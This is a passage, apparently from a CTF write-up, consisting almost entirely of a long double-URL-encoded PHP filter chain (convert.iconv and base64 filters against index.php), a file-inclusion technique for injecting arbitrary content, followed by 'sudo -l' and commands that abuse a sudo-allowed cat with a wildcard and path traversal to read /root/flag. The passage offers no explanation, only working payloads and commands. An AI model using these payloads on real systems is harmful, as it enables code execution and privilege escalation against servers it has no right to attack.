2569conv.U%2554F8.U%2554F7|%2563on%2576ert.%2569conv.%2543P367.U%2554F-16|%2563on%2576ert.%2569conv.%2543SI%2542M901.%2553HIFT%255fJ%2549SX0213|%2563on%2576ert.%2562a%2573e64-%2564ecode|%2563on%2576ert.%2562a%2573e64-encode|%2563on%2576ert.%2569conv.U%2554F8.U%2554F7|%2563on%2576ert.%2569conv.PT.U%2554F32|%2563on%2576ert.%2569conv.KOI8-U.I%2542M-932|%2563on%2576ert.%2569conv.SJ%2549S.EUC%254aP-WIN|%2563on%2576ert.%2569conv.L10.%2555%2543S4|%2563on%2576ert.%2562a%2573e64-%2564ecode|%2563on%2576ert.%2562a%2573e64-encode|%2563on%2576ert.%2569conv.U%2554F8.U%2554F7|%2563on%2576ert.%2569conv.U%2554F8.%2543S%2549SO2022%254bR|%2563on%2576ert.%2562a%2573e64-%2564ecode|%2563on%2576ert.%2562a%2573e64-encode|%2563on%2576ert.%2569conv.U%2554F8.U%2554F7|%2563on%2576ert.%2569conv.%2543P367.U%2554F-16|%2563on%2576ert.%2569conv.%2543SI%2542M901.%2553HIFT%255fJ%2549SX0213|%2563on%2576ert.%2569conv.UHC.%2543P1361|%2563on%2576ert.%2562a%2573e64-%2564ecode|%2563on%2576ert.%2562a%2573e64-encode|%2563on%2576ert.%2569conv.U%2554F8.U%2554F7|%2563on%2576ert.%2569conv.U%2554F8.%2543S%2549SO2022%254bR|%2563on%2576ert.%2569conv.%2549SO2022%254bR.U%2554F16|%2563on%2576ert.%2569conv.%2549SO6937.JOHAB|%2563on%2576ert.%2562a%2573e64-%2564ecode|%2563on%2576ert.%2562a%2573e64-encode|%2563on%2576ert.%2569conv.U%2554F8.U%2554F7|%2563on%2576ert.%2569conv.U%2554F8.%2543S%2549SO2022%254bR|%2563on%2576ert.%2569conv.%2549SO2022%254bR.U%2554F16|%2563on%2576ert.%2569conv.L6.%2555%2543S2|%2563on%2576ert.%2562a%2573e64-%2564ecode|%2563on%2576ert.%2562a%2573e64-encode|%2563on%2576ert.%2569conv.U%2554F8.U%2554F7|%2563on%2576ert.%2569conv.U%2554F8.U%2554F16LE|%2563on%2576ert.%2569conv.U%2554F8.%2543S%2549SO2022%254bR|%2563on%2576ert.%2569conv.%2555%2543S2.U%2554F8|%2563on%2576ert.%2569conv.SJ%2549S.GBK|%2563on%2576ert.%2569conv.L10.%2555%2543S2|%2563on%2576ert.%2562a%2573e64-%2564ecode|%2563on%2576ert.%2562a%2573e64-encode|%2563on%2576ert.%2569conv.U%2554F8.U%2554F7|%2563on%2576ert.%2569conv.%2553E2.U%2554F-16|%2563on%2576ert.%2569conv.%2543SI%2542M1161.I%2542M-932|%2563on%2576ert.%2569conv.%254dS932.%254dS936|%2563on%2576ert.%2569conv.BIG5.JOHAB|%2563on%2576ert.%2562a%2573e64-%2564ecode|%2563on%2576ert.%2562a%2573e64-encode|%2563on%2576ert.%2569conv.U%2554F8.U%2554F7|%2563on%2576ert.%2562a%2573e64-%2564ecode/resource=index.php
复制代码 
sudo -l
复制代码 
1=sudo /bin/cat /tmp/whereflag/*
复制代码 
1=sudo /bin/cat /tmp/whereflag/../../../../root/flag
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